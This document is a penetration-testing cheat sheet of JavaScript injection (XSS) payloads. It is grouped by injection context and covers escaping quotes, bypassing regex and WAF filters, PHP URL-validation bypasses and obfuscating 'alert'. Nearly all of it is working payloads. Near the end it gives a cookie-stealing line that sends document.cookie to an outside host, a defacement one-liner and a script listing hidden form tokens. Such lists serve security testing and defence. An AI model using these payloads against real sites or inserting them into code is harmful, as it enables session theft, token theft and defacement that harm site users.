🪚Javascript Injections

This section is about the payloads needed to prove XSS vulnerability

Simple Javascript Injection

Use when input lands in a script block, but if the script tag is being filtered, use inside a string delimited value.

Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload

--------------------------------------------------------------------
'-alert(1)-'
'/alert(1)//

"-alert(1)-"
"/alert(1)//
--------------------------------------------------------------------

---------------------------------------------------------------

Injection in Javascript Variable – Backticks Delimiter

Use when input lands in a script block, but if the script tag is being filtered, Angle brackets encoded in an attribute, then used inside a string delimited value.

Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload

--------------------------------------------------------------------
`-alert(document.domain)-`
`-alert(document.domain)//
--------------------------------------------------------------------

---------------------------------------------------------------

Javascript Injection - Escape Bypass

Use when input lands in a script block, inside a string delimited value but quotes are escaped by a backslash.

In the previous case, if the quote (which is responsible for the break out of the variable’s value) is escaped with a backslash (\), the injection won’t work (invalid syntax). For that, we have a little trick: escaping the escape. We insert a leading backslash to escape the added one and then the quote will work to break

Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload

--------------------------------------------------------------------
\'-alert(1)//
\'/alert(1)//

\"-alert(1)//
\"/alert(1)//
--------------------------------------------------------------------

---------------------------------------------------------------

Javascript Injection - Quotes Encoded Filtered Bypass

Use when input lands in a script block, inside a string delimited value but quotes are Encoded by a Filtered.

Always look to the attribute value (Double Quotes) or (Single Quotes) then add the payload

--------------------------------------------------------------------
%26apos;-alert(1)-%26apos;
--------------------------------------------------------------------

---------------------------------------------------------------

Javascript Injection - Logical Block

Use 1st or 2nd payloads when input lands in a script block, inside a string delimited value, and inside a single logical block like function or conditional (if, else, etc). If the quote is escaped with a backslash, use 3rd or 4th payload.

--------------------------------------------------------------------
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
\'}alert(1)%0A{'//
--------------------------------------------------------------------

---------------------------------------------------------------

Javascript Injection - Quoteless

Use when there’s multi-reflection in the same line of JS code.

--------------------------------------------------------------------
Simple Variables
/alert(1)//\

Simple JS Objects
}/alert(1)//\

JS Object – Nested Array
}]}/alert(1)//\

JS Object – Nested Function
}}}/alert(1)//\
--------------------------------------------------------------------

---------------------------------------------------------------

Placeholder Injection in Template Literal

Use when input lands inside backticks (``) delimited strings or in template engines. but quotes are escaped by a backslash.

--------------------------------------------------------------------
${alert(1)}
--------------------------------------------------------------------

---------------------------------------------------------------

Browser Notification

Use as an alternative to alert, prompt, and confirm popups. It requires user acceptance (1st payload) but once the user has authorized previously for that site, the 2nd one can be used.

--------------------------------------------------------------------
Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
--------------------------------------------------------------------

---------------------------------------------------------------

JS Injection - Reference Error Fix

Use to fix the syntax of some hanging javascript code. Check the console tab in Browser Developer Tools (F12) for the respective Reference Error and replace var and function names accordingly.

--------------------------------------------------------------------
';alert(1);var myObj='
';alert(1);function myFunc(){}'
--------------------------------------------------------------------

---------------------------------------------------------------

Alert without Parentheses (Strings Only)

Use in an HTML vector or javascript injection when parentheses are not allowed and a simple alert box is enough.

--------------------------------------------------------------------
alert`1`
--------------------------------------------------------------------

---------------------------------------------------------------

JS Injection without Parentheses

Use in an HTML vector or javascript injection when parentheses are not allowed and PoC requires to return any target info.

--------------------------------------------------------------------
setTimeout`alert\x28document.domain\x29`
setInterval`alert\x28document.domain\x29`
[].pop.constructor`alert\x28document.domain\x29```
--------------------------------------------------------------------

---------------------------------------------------------------

Alert Injection Variations

All regular ways to break out from delimiters and inject alert(1) fixing the remaining syntax (without comments).

'-alert(1)-' '+alert(1)+' '>>>alert(1)>>>'   '&alert(1)&'   1'?alert(1):'
'/alert(1)/' '<alert(1)<' '>=alert(1)>='     '^alert(1)^'   '[alert(1)]-'
';alert(1);' '<<alert(1)<<' '==alert(1)=='   '|alert(1)|'   '(alert(1))-'
'*alert(1)*' '<=alert(1)<=' '===alert(1)===' '||alert(1)||' 
'**alert(1)**' '>alert(1)>' '!=alert(1)!='   '%0Aalert(1)%0A'
'%alert(1)%' '>>alert(1)>>' '!==alert(1)!==' '%0Dalert(1)%0D'

---------------------------------------------------------------

JS Injection without Alphabetic Chars

Use when alphabetic characters are not allowed. Following is alert(1).

--------------------------------------------------------------------
[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\
141\154\145\162\164\501\51')()

[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']`\
x61\x6C\x65\x72\x74\x281\x29```
--------------------------------------------------------------------

---------------------------------------------------------------

Alert Obfuscation Use when Alert Keyword filtering

Avoiding keywords and specific substrings:

Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above). The shortest option “top” can also be replaced by “window”, “parent”, “self” or “this” depending on context.

(alert)(1)
a=alert,a(1)
[1].map(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top[8680439..toString(30)](1)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)

Calling functions

alert`1` : Template literal syntax alert.apply(this,[1]): Using Function.prototype.apply alert.call(this,1): Using Function.prototype.call alert(1): Obviously, but included for completeness. [1].find(alert): Using predicates [1].filter(alert): Using predicates

---------------------------------------------------------------

Alert Obfuscation - Optional Chaining

Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above).

alert?.(document?.domain)
[document?.domain]?.map?.(alert)
top?.[/ale/?.source+/rt/?.source]?.(document?.[/dom/?.source+/ain/?.source])

---------------------------------------------------------------

Alert Alternative – Write & Writeln

Use as an alternative to alert, prompt, and confirm. If used within an HTML vector it can be used as it is but if it’s a JS injection the full “document.write” form is required. Replace “&” with “%26” and “#” with “%23” in URLs. Write can be replaced by writeln.

write`XSSed!`
write`<img/src/o&#78error=alert&lpar;1)&gt;`
write('\74img/src/o\156error\75alert\501\51\76')

---------------------------------------------------------------

JS Injection - Escaping From Functions and Methods

Use to execute JS code when injection lands inside a function or methods of an object and it doesn’t execute automatically. The "()=>" can be replaced by "function()" if there’s a need. It breaks out from function/method and fix the remaining syntax.

'}alert(1)/{//
‘}alert(1);k:{
')/alert(1)//
'})/alert(1)({//
')})/alert(1)(()=>{k:(//
'}})/alert(1)(()=>{k:{//
')})})/alert(1)(()=>{({k:(//
'}})})/alert(1)(()=>{({k:{//

---------------------------------------------------------------

Alert Alternative – Open Pseudo-Protocol

Use as an alternative to alert, prompt, and confirm. The above tricks apply here.

top.open('javascript:alert(1)')
top.open`javas\cript:al\ert\x281\x29`

---------------------------------------------------------------

Jump to URL Fragment

Use when you need to hide some characters from your payload that would trigger a WAF for example. It makes use of the respective payload format after the URL fragment (#).

eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>

---------------------------------------------------------------

Javascript Alternative Comments

Use when regular javascript comments (//) are not allowed, escaped, or removed.

alert(1)<!--
alert(1)%0A-->

---------------------------------------------------------------

URL Validation Bypass

Use to bypass the FILTER_VALIDATE_EMAIL flag of PHP’s filter_var() function or similar.

javascript://%250Aalert(1)
javascript://%250Dalert(1)

---------------------------------------------------------------

URL Validation Bypass – Query Required

Use to bypass FILTER_VALIDATE_EMAIL with FILTER_FLAG_QUERY_REQUIRED of PHP’s filter_var() function or similar.

javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
javascript://%250Dalert(1)//?1
javascript://%250D1?alert(1):0
(with domain filter)
javascript://https://DOMAIN/%250Aalert(1)//1
javascript://https://DOMAIN/%250D1?alert(1):0

---------------------------------------------------------------

URL Validation Bypass - Alternative to %250A or %250D

Use when %250A or %250D are not allowed.

javascript://%E2%80%A9alert(1)
javascript://%E2%80%A9alert(1)//?1
javascript://%E2%80%A91?alert(1):0
javascript://https://DOMAIN/%E2%80%A91?alert(1):0

---------------------------------------------------------------

JS Injection Bypass inside Event Handler

Use when injection is possible inside an event handler like in “onenvent=someFunction('HERE')” and quotes are escaped.

'-alert(1)-'
"-alert(1)-"
%26apos;-alert(1)-%26apos;

---------------------------------------------------------------

Simple Virtual Defacement

Use to change how the site will appear to the victim providing HTML code. In the example below a “Not Found” message is displayed.

documentElement.innerHTML='<h1>Not Found</h1>'

---------------------------------------------------------------

Cookie Stealing

Use to get all cookies from the victim user set by the target site. It can’t get cookies protected by the httpOnly security flag. Encode “+” as “%2B” in URLs.

fetch('//brutelogic.com.br/?c='+document.cookie)

---------------------------------------------------------------

Alternative PoC - Shake Your Body

Use to shake all the visible elements of the page as a good visualization of the vulnerability.

setInterval(k=>{b=document.body.style,b.marginTop=(b.marginTop=='4px')?'-4px':'4px';},5)

---------------------------------------------------------------

Alternative PoC - Alert Hidden Values

Use to prove that all hidden HTML values like tokens and nonces in the target page can be stolen.

f=document.forms;for(i=0;i<f.length;i++){e=f[i].elements;
for(n in e){if(e[n].type=='hidden'){alert(e[n].name+': '+e[n].value)}}}

---------------------------------------------------------------